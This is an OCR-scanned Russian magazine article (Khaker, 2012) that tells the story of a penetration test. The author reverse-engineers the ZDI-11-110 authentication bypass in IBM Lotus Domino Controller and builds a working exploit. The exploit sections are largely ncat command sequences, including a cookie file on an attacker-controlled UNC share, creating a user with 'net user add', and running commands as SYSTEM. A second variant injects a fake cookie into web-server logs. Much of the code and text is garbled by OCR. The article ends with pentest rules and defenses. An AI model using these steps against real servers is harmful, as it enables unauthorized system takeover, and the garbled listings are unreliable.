




ВЗЛОМ
Алексей Синцов, Digital Security [!water.согп/asmtsovl
Пробивая Lotus 
или история 
одного пентеста
lBM Lotus 
Domino Server 
-программное 
обеспечение 
компании IBM Lotus 
Software, серверная 
часть программного 
комплексе!ВМ Lotus 
Notes.
агу%.se! обеуя11яtive,tom вЂ” ZDI; 
ж тг и З Ь и ь С О гй/ & о 11 5 
иег%Ч/1оШ! вЂ” IBM 
Lotus Software; 
Ьцпсгоя,ru вЂ” Bugyraq; 
цсвикехр ерссгоге 
DJJ D '!
ЭКСПЛУАТИРУЕМ ПРИВАТНУЮ ДЫРУ 
В LOTUS DOMINO CONTROLLER
ХАКЕР 01 /156/ 20! 2
068
В этой статье я хотел бы рассказать об одном 
рабочем дне пентестера, которому, вопреки 
распространенному мнению, недостаточно просто 
запустить сканер и ждать отчета. Ему нередко 
приходится проявлять смекалку и прямо во время 
теста на проникновение писать сплоиты.
Однажды я проверял надежность защиты очередного объекта. На этот раз вся инфраструктура была поднята за счет оборудования и софта IBM, что совершенно точно влетело заказчику в копеечку. Основную часть инфраструктуры, как это обычно бывает, составляли сервера Lotus. В данном случае их было много. Очень много. На Ьotus была построена вся кухня компании; почта, совещания, управление контентом и т. и. Кстати, здесь вполне уместно вспомнить старую статью Александра Полякова, в которой он героически описывал свой опыт покорения этого ПО. Однако время беспощадно, и те трюки, которые еще пару лет назад работали на ура, сегодня уже не дают абсолютно никакого профита. Обновленный монструозный Lotus смотрел на меня как на обычного пользователя безо всяких прав.:[ В такой ситуации любой начинающих взломщик полез бы на баг-трекеры и начал искать, к чему можно прицепиться, кроме устаревшего names.nsf в веб-сервисах. 
На серверах, которые я тестировал, стоял почти самый свежий Lotus 8.5.2FP2. Ни Метасплойт, ни Вха'ап-а1',са01 не порадовали меня ничем дельным. Однако я решил не полагаться на такие попсовые источники эксплойтов и обратился за помощью в поиске багов без сплойтов к ленте Bug Traq, ZDI, сайту IBM c security-обновлениями и Гуглу. В результате я нашел кучу уязвимостей, связанных с переполнением буфера в различных сервисах, а также баг, позволяющий обойти аутентификацию и
выполнить произвольный код. Однако эксплойтов для всех этих уязвимо-
стей не существовала, а описания ошибок были очень поверхностными 
и указывали лишь общее направление, в котором нужно двигаться. На 
первый взгляд, такие указания никак не могли помочь в разработке 
хоть сколько-нибудь эффективного зксплойта, но надо было двигаться 
дальше.:)
Бегло просмотрев различные уязвимости, я остановился на баге с обходом аутентификации, позволяющем выполнить произвольный код [а это как раз то, о чем мечтает каждый пентестер). Зта уязвимость, получившая на сайте ZDI код ZDI-11-110, на момент проведения пентеста числилась как Qday [сейчас уже имеется соответствующий патч[. Приведу перевод описания указанной уязвимости с этого сайта: 
«Зта уязвимость позволяет удаленному атакующему выполнить произвольный кад на уязвимой инсталляции Lotus Domino Server Controller. Для эксплуатации уязвимости не требуется аутентификация. Проблема существует в реализации функционала удаленной консоли, которая по умолчанию слушает TCP-порт 2050. При аутентификации пользователя сервер использует значение параметра CD0KIEFILE, в котором пользователь передает путь для получения



socket:reconnect ssl()
..':(i == 6) ( //Если trAPPLET appletConnection = '.l uii; 
с о «1'с !. и а е;
Neat-атака
ХАКЕР О1/156/2012
сохраненных аутентификационных данных. Приложение сравнивает 
данные из этого файла с данными пользователя. Путь мажет быть 
представлен в виде UNC, что позволит атакующему контролировать 
оба сравниваемых значения, Эксплуатируя эту уязвимость, удаленный 
атакующий сможет выполнить кодс правами SYSTEM». 
Эта описание вполне раскрывает всю суть проблемы: во время 
аутентификация атакующий мажет подменить параметр CODKIEFILE 
на параметр, содержащий путь к файлу'4еу1йоз11раээаягб cookie file, 
который находится под контролем самого атакующего. В этот файл как 
раэ и входит строка, сравниваемая с паролем, который вводится при 
аутентификации. Однако более подробная информация в описании 
уязвимости отсутствовала.
Итак, мы знаем, что уязвимая служба висит на порте 2050. Это очевидно, так как контроллер Lotus всегда находится там. Однако протокол общения лично мне был неизвестен. Погуглив информацию об этом протоколе, я ничего не нашел. В та же самое время май напарник Александр Миноженка заметил, чта автор бага, достаточно известный пентестер и хакер из Швеции Патрик Карлсон, также является автором модулей для культового сканера nmap, Некоторые из этих модулей как раз работают с Lotus-контроллером, например модуль для брутфорса и выполнения кода, предназначенный для тех случаев, когда пароль известен. 
Рассмотрим код этих модулей;
socket: send("ÔÀPIÌ") 
socket:send( ("tfUI %s,%3Т,п")1format(user, pass) ) 
socket:receive lines(1) 
socket:send("ffEXITgn")
Как видно, аутентификация в Lotus-контроллере выглядит достаточно просто: это SSL-туннель, в котором все команды идут открытом текстом и начинаются с символа «Ф». Таким образам, для аутентификации с логином admin и паролем pass нам нужно ввести команду «ffUI admin,pass», Этот факт не слишком приближает нас к пониманию того, как осуществить атаку, поскольку ни один модуль nmap не использует путь CDÎKIEFILE для аутентификации. Однако, проявив немного смекалки, можно придумать команду «ffCDDKIEFILE'ttevilf, file». Протестировав эту команду, я не получил ровным счетам ничего, даже уведомления об ошибке в синтаксисе [это говорит нам о там, что сама по себе команда вроде бы верна).
После всех безуспешных попыток вникнуть в код алгоритма мне пришлось декомпильнуть код контроллера. Выяснилось, что контроллер полностью написан на Java, поэтому и IDA Pro, и Оля-дебаггер оказались не нужны. Пригодился обыкновенный DJ decompiler (Г11е,":,'ОО1:,,
Пробивая Lotus, или история одного пентеста
)=сй1«:,: оп'„'пе=hlip «;,:dpi'I, который превратил 1аг-файл С:'t 
Ргоагагп FilestIBMtLotust,DominotDatatdorninotjava~дсопэо!е.jar в кучу 
практически полностью читаемого Java-кода. Воспользовавшись 
поиском, я быстро нашел в полученных файлах класс NewClient.class, 
отвечающий за работу с консолью и аутентификацию. Давай взглянем 
на сам код:
// si вЂ” строка ввода с 2858/ ср 
1-(si.equals("ÔEXIT"))
if (sl, equals("ÔCÎCfkiEFILE") ) 
if (этг1п86ойеп1хег. hast»lor e Tokens() ) 
// Ага, Мы были правы: 
/„« 4ООок1ег1(е <путь K файлу» 
соок1еР11епаа1е = этг(пдтахеп(эег. next Token(), trim(); 
Гетагп 7'
i" (! I.equals("ftUI'*)) 
(а-(36г(п8То1сепфэег.hasftoreTokens()) 
// Аутентификация... 
usr = str ingtokenizer.nextToken(*',").trim(); 
'i f(ust' == nu11) 
гь tt.t!"и 4; 
i F(э Сг1п8тайеп1гег. hast«lor e Tokens { ) ) 
Оаооль после запятой, это мы и так знали 
pfifd = str ingtokenizer nextToken() trim{); 
ге:.агn 8'
Наши догадки о формате команд оказались верны. Теперь давай 
найдем интересующий нас процесс аутентификации:
/' Цикл чтения ввода 
ао ( 
«'/ Яеадя "omUsef вЂ” эта функция 6»1ла B предьдуа1ем листинге 
int i = ReadFromuser();
user info = 0эегйападег. findUser (usr ); 
1т(азег(пто == па11) ( 
// Если m3ep не найден... 8ai 
tffr iteToUser (*'ИОТ РЕО АОМХИ"); 
с опт i tttfe;
i (! appletConnection) 
// Если не 6!»fPio ФАРРЕЕТ, То обычная аутентификация 
flag=vrf)«pfftd. чег16у0эеграээа«агд(рио', user info. иэегРИО() ); 
'.:se «/ Если me бьша Ko«faHqa ttAPPLET 
// Аутентификация па ЕООК1Е» Ага1 
flag = чег16удрр1ет0эегСоок1е(цэг, pfttd);
) а«6118 (1: гue); // end 1оар 
f'(flag) // Если pe3Y«taTaT agrентификации положительный, 
3ar рузить консоль управления„vpa f
Из этого кода видно, что нам необходимо «включить» уязвимый механизм аутентификации с помощью команды ffAPPLETда использования Фй и ffCDOKIEFILE. Кроме того, дело не дойдет до аутентификации, если ты не знаешь логин, который содержится в файле



ВЗЛОМ
) ivh1lе(тгае)1
C:1,Lotus3Dominoiidata>whoami 
NT AUTHORITY3SYSTEft
Е:1,LotusVDomino'idata>
вв .« 
1 
1 
1 
~в«вв 
1 „ 
,'вt I
;ввивввв 
в' 
1
Геологическая служба США
ХАКЕР 01/156/2012
070
admindata.xml. Тем не менее, по ответу сервера мы сможем понять, существует такой логин или нет [ответ NOT REGADMIN из листинга)! Такая уязвимость называется «раскрытие существующих логинов системы». Для быстрой проверки я пробрутфорсил вручную несколько самых популярных логинов в тестируемой системе и обнаружил юзера adm, который понадобится нам для реализации дальнейших э~апов атаки. 
Теперь рассмотрим функцию авторизации verifyAppletUserCookie:
//¹COOKIEFILE <сааК1ег{1епая1е:,f(cookieFilename == null ~ ! cookieFilename.length() == 8) 
ге1шгг1 flag; 
//Ея1е один баr -- открытие файла беэ фильтрации ваада File file = 11еы File(cookieFilename);
inputstreamreader = пеы InputStreamReader ( new FileInputStr earn(61e}, "UTFB");
//s7 вЂ” coAepжимое файла cookief 1lename 
do { 
ii"((j = s7,indexOf( <аэег ", j)) <= 8) break;
5тг1пе s2 = &ес5сгingToken(s7, "user=1,"", "1,"", j, k); String s3 = getStr ingToken(s7, «cookie=1,"", "1"", j, k); String s4 = getStr ingToken(s7, "address=V,"", "~"", j, k);
16(s 5. equal sIgnor eCase(s2) && s6. equa1 signor eCase(s3)
&& appletUserAddress,equalsIgnoreCase(s4)) ( //ура!
flag = true; break;
)

Из кода видно, что если введенные при аутентификации значения 
username, password u address равны значениям username, password 
и address из cookiefile, который мы контролируем, то аутентификация 
пройдет успешно! Таким образом, мы можем составить примерный 
алгоритм атаки: 
1. Скриптищеттег<иэег>вуказанномнамифайле. 
2. В этом теге считываются значения аэегпап1е, passwof' address. 
3. Далее считанные параметры сравниваются с теми, которые ввел 
пользователь. 
4. Так как путь к открываемому файлу не фильтруется при вводе, мы 
можем указать путь к произвольномуфайлу и обойти таким образом 
злосчастнуюаутентификацию.
Теперь перейдем непосредственна к реализации нашей атаки. 
1. Создаем файл cookie.xml:
<user name="usr" cookie="psw" address="dsecrg">
Как ты уже понял, логин usr должен реальна существовать.
2. Сохраняемполученныйфайллибоусебявшаре,либонаместном
файловом сервере, указав nyTS Nileservertpubiictcookie.xml.
3. Теперь подключимся к уязвимому серверу с помощью neat:

neat --ssl targetlotus host 2858 
¹API 
APPLET
¹COOKIEFILE i1,6leser ver 1,public1icookie. xml 
¹USERADDRESS dsecrg 
№01 usr» psw 
VALID USER 
¹EXIT
LOAD ЕИО.ехе /C net user add username passwor d /ADD 
BeginData
Команда ¹APPLET говорит серверу о том, что мы хотим использовать файл cookie для аутентификации. Когда мы пробуем пройти аутентификацию с помощью команды ¹UI, сервер пытается открыть файл, путь к которому указан в ¹COOKIEFILE. Из этого файла и берутся фейковые данные, которые сервер сравнивает с введенными нами логином и паролем. После команды ¹EXIT запускается процесс обработки ввода для аутентифицированного пользователя, то есть мы получаем доступ к серверу! Вот только как им управлять? Если ты помнишь соответствующую статью Саши Полякова, то в ней описывалась команда LOAD, фактически позволявшая нам запускать командную строку с параметрами. Единственный минус этого способа заключался в отсутствии обратной связи, то есть мы не могли видеть результат выполнения команды. Кроме того, в настоящий момент IBM настоятельно рекомендует защищать команду LOAD с помощью дополнительного сервисного пароля, обойти который у нас уже не получится. Однако мы можем, как в пгпар-модулях, выполнять команды, вводя их после символа доллара. В данном случае метод LOAD и сервисный пароль ни при чем, Но определенные привилегии авторизованному пользователю все равно нужны;
neat --ssl tagetlotus host 2858 
¹API 
¹APPLET 
¹COOKIEFI LE 'v~fi1eserver vpublic~cookie. xml 
№05ЕЯА00&Е55 dsecrg 
¹UI usr,ðsw 
VALID USER 
ФЕХХТ 
fwhoami 
whoamiBeginData
Microsoft Windows [Чегsion 6.1.7681] 
Copyright (с) 2889 Nicrosoft Corporation. All rights reserved.
Большим преимуществом этого способа является тот факт, "ITo при 
его использовании мы видим еще и результат исполнения команды. 
Следует также отметить, что в приведенном выше листин~ е директива 
¹API включает режим консоли, чистый АР1 беэ Java-вывода, вЂ” таким 
образом, работа с neat становится еще более удобной. Кстати, если 
LotUs запущен с доменной учеткой, То мы вполне можем организовать 
атакутипа 5MBRelay.
Отлично, мы реверснули баг и фактически создали эксплойт. 3TQ все? 
Нет, есть и еще кое-что. Во-первых, чтоты будешьделать в случае


neat targethost 49152 
GET /<user HTTP/1.8gr tn 
Krtn
$whoami
NT AUTHORITY/SYSTEH
071
ХАКЕР 01 д 56/ 2012
блокировки SMB-трафика с атакуемого сервера? Серверу, который 
имеет выход в интернет, вполне можно подсунуть UNC (набор симво-
лов, который указывает расположение файла в файловой системе]. 
Если выхода в интернет не имеется, то сервер не сможет добраться 
до файла из-за банального межсетевого экрана. Кроме того, IBM вы-
пустила простой, но беспощадный патч: теперь к параметру cookiefile 
добавляется точка «.» в самом начале пути. Таким образом, если мы 
вводим что-то типа trevi(tcookietfi(e, то в результате сервер пойдет 
открывать файл, путь к которому имеет следующий вид: ttevi('tcookiet 
file, так что об UNC здесь можно забыть. Кроме того, патч проводит ау-
тентификацию клиента с помощью SSL-сертификата, поэтому доступ к 
консоли без него получить не выйдет. Но давай забудем про сертифи-
кат и решим первую проблему. B этом нам помогут сами программи-
сты IBM! Из листинга, в котором осуществляется парсинг cookiefile, 
видно, что кодеры хотели использовать что-то типа XML-файла и 
XML-парсера. Но на самом деле код не парсит XML, а просто ищет под-
строку в строке! Обрати внимание, что, по мнению программистов IBM, 
XML-файл вида:
<7xml version="1.8*' encoding="UTF-8"?> 
<user name="admin" cookie="dsecrg" address="dsecrg" >
аналогичен вот этому непотребству:
8la-bla-bla<user name="admin "xXXxcookie="dsecr g"Xaddress=" 
dsecrg"NYA>
Зта «особенность» позволяет нам инжектировать файл куки в локальные файлы сервера для последующего использования этого файла в процессе описанной выше фальшивой аутентификации. Примерный сценарий атаки в данном случае может выглядеть так: 1. Инжектим сов(<(еаза(аевспомощьюсервиса Microsoft HTTPAPI 
service (здесь и далее t,rtn вЂ” это просто Enter(:
neat targethost 49152 
GET /user="admin"cookie="pass"address="http;//site.corn" 
HTTP/1. 8XrXn 
~г~п
2. Теперьлог-файл насерверебудетвыглядетьпримернотак:
tfSoftware: Nicrosoft HTTP API 2.8 
ttVer sion: 1.8 
ttDate: 2811-88-22 89:19:16
2811-88-26 11:53:38 18.18.18.181 52982 18.18.9.9 
47881 НТТР/1.8 GET <user 484 - NotFound-
2811-88-26 11:53:38 18.18.18.181 52985 18.18.9.9 
47881 НТТР/1.8 GET name="admin"cookie="pass"address=" 
http: //site.corn'> 484 вЂ” NotFoundâ€”
Два запроса сделано нг- случайно: парсер от IBM будет искать строку «<user» с пробелом в конце, а все пробелы в запросе кодируются как «o/020» (.ro нам не подходит). Таким образом, мы делаем первый запрос так, чтобы пробел после «<user» поставил сам вебсервер (между запросом и результатом мы увидим 404 NotFound(. 
Во втором запросе дописываем все остальное. 
3. Теперь, после получения валидного файла куки путем инжектирован в логи веб-сервера, эксплойтим все это дело:
neat --ssl tagetlotus host 2858 
¹API
Пробивая Lotus, или история одного пентеста
П РАВ ИЛА ВЫ%И ВАН ИЯ 
ПРИ ПЕНТЕСТЕ
»%% Ю~ВММФВШМЖ»ЮЯЮЖ' ~ЯМ ЖМЗИВ:. ЗМ~йЖ ИБВ~*.ЗВШ~~Ж!!ййЖВВЮ~ФМ~ЮЮ!й!ЮЛЮ 6!~%ЛЮФТ»В~ФЪК!ФЯ
1. Никогда не запускай ничего низкоуровневого, если ты его 
досконально не знаешь. Например, если ты не знаешь, как работает 
ARP-POISONING, не стоит злоупотреблять им на проверяемом 
объекте (конечно, иногда так хочется нажать красивую кнопочку 
в Cain, íî DoS на заводе или в банке вЂ” несоразмерная плата за 
перехваченный пароль от почтового ящика какого-нибудь офис-
менеджера на ma,i ~ о). 
2. Никогда не запускай эксплойт, в котором ты не уверен. 
Зксплойт вЂ” это не та ПО, которое делает хакера хакером (или 
пентестера пентестером). Ведь если этот эксплойт связан, 
например, с ошибками при работе с памятью, то нужно быть 
уверенным не только в правильности версии уязвимого ПО, но и 
в правильности версии ОС, а иногда даже в том, что уязвимое ПО 
имеет соответствующее окружение (например, для использования 
некоторых эксплойтов необходимо установить Java 6 для ROP-
программы или отключить ASLRI. 
3. Спрашивай разрешения у IT-специалистов твоего клиента, если 
хочешь произвести какие-либо действия, которые потенциально 
могут вызвать отказ в обслуживании. 
4. У пентестера никогда не бывает лишнего времени. Запомни это. Не 
стоит ковыряться в одном сервисе двое суток только для того, чтобы 
написать офигенный эксплойт и проверить его на стабильность 
на копии тестируемой системы. Это, конечно, круто, но в итоге ты 
проэксплуатируешь только один баг, а времени на 99 других у тебя 
просто не останется. Нужно уметь выбирать приоритеты в условиях 
ограниченного времени и при отсутствии ресурсов.
tfAPPLET 
ttCOOKIEFILE ..3..3..'twindowstsystem32tlogfileshhttperrt 
httper r 1. log 
tfUSERADDRESS http: //twitter/asintsov 
tfUI admin,pass 
It EXIT
В результате мы вполне можем получить профит и без UNC, так как 
лог-файл может быть любым.
Стоит сказать несколько слов и о защите от разработанного нами 
способа атаки. Во-первых, атакуемый сервис используется сугубо 
для узких административных целей, поэтому он не должен быть до-
ступен пользователям локальной сети, а также виден из интернета. 
Во-вторых, ни в коем случае не забывай про патчи и обновления. 
В-третьих, постарайся не забыть про сервисный пароль, который уста-
навливается один-единственный раз через ту же самую консоль (даже 
если сервер захватят, различные опасные команды вроде LOAD и ТЕС 
будут защищены!. И последнее вЂ” время от времени проводи аудит 
файла admindata.xml. Здесь перечислены все пользователи контрол-
лера с паролями в MD5. Кроме того, тут же прописаны их привилегии 
в виде десятичных значений. Значения 6, 25 и 26 говорят о том, что 
у этого пользователя есть привилегии на исполнение системных 
команд. Следи за тем, чтобы у незнакомых юзеров не было лишних 
полномочий, и да пребудет с тобой Сила!:я

